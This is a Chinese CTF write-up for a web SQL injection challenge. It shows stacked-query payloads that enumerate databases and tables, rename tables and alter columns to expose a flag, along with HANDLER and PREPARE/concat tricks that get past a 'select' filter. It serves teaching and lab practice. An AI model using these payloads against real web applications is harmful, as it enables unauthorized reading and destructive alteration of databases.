0%

web--随便注

前言

  这题主要用到了堆叠注入以及rename改表名,alert 改列名。下面我总结解题思路时也会适当的阐述一下alert和rename的用法。

0X01 判断是否存在sql注入

  1. 首先我尝试了传入1' 发现报错,那么就是说它很大几率可以被单引号闭合。
  2. 接着我尝试传出 1' --+ 发现回显正常那么基本就已经确定存在sql注入了。

    0X02 开始sql注入

    1. 还是老样子,先看有几个字段(列)传入 1’order by 3 --+ 发现报错,传入1' order by 2 --+ 发现回显正常,说明有2个字段(列)
    2. 接着尝试爆数据库,传入1' union select 1,2 --+ 发现题目提示有过滤语句,过滤了select (一般情况下过滤了select 也就意味着要用堆叠注入了而不再使用联合注入)
    3. 什么是堆叠注入: 在SQL中,分号(;)是用来表示一条sql语句的结束。结束一个sql语句后继续构造下一条语句,会一起被执行;这也就形成了堆叠注入。
    4. 开始堆叠注入,首先爆数据库看看。传入1';show databases; --+会爆出所有数据库
    5. 接着爆表,传入1';show tables;--+ 发现2个表,分别是”1919810931114514“和”words
    6. 我们先来看看words里面的列,传入1';show columns from words ;--+ 虽然没有flag但是我们可以发现,这个表就是输入框按id回显的表也就是说我们在输入框输入数据,将在这个表中查找。再看看1919810931114514表中的列,传入1’;show columns from `1919810931114514` (注意,表名字符串可被` `包围也可不被,但是如果是数字的话必须被包围否则无法正常识别) 我们发现这个表里有flag列。
    7. 但是我怎么显示这列里面的数据呢?这就需要利用输入框来进行查找了,那么我可以把1919810931114514这个表改为words表并将flag列改为id列,这里我们猜测搜索框使用的是 select * from words where id= …
    8. 首先我们需要将原来的words表改个名字,以免后面发生冲突。然后将19198110831114514表改为words表这里我们使用到rename
      rename使用格式:rename table 旧表名 to 新表名
    9. 我们还需要将原来的 1919810931114514表的flag列改为id列,这里我们使用到alert
      alert使用格式:alert table 表名 change 旧列 新列 数据类型
    10. 那么最后我们得到的payload是
      1
      ?inject=1'or 1=1;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100)%20 ;show columns from words;--+
    11. 最后我们用 1′ or 1=1 访问一下。即可得到我们的flag。

0X03 补充知识

  1. 堆叠注入的局限性: 堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
  2. 使用alter 来修、删、改、查
  • 修改表的列名
    用法:alter table 表名 change 旧列名 新列名 类型;
  • 修改表某一列的类型
    用法:alter table 表名 modify 列名 类型;
  • 增加一列
    用法:alter table 表名 add 列名 类型;
  • 删除一列
    用法:alter table 表名 drop 列名;

0X04 一种新方法

 在一次比赛当中,有一个类似的题目,只是他禁用了rename。此时有有一种新的方法,使用Mysql的handler语句。使用方法如下:

  • 首先使用 handler table_name open ;打开表
  • 然后使用 handler table_name read first; 来读取数据

详细参考链接

0X05 预处理绕过

1
2
3
PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句

也可以:

1
2
3
4
5
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

payload:

1
1';set @a=concat("sel","ect flag from `1919810931114514`");Prepare hello from @a;execute hello;#

-------------本文结束感谢您的阅读-------------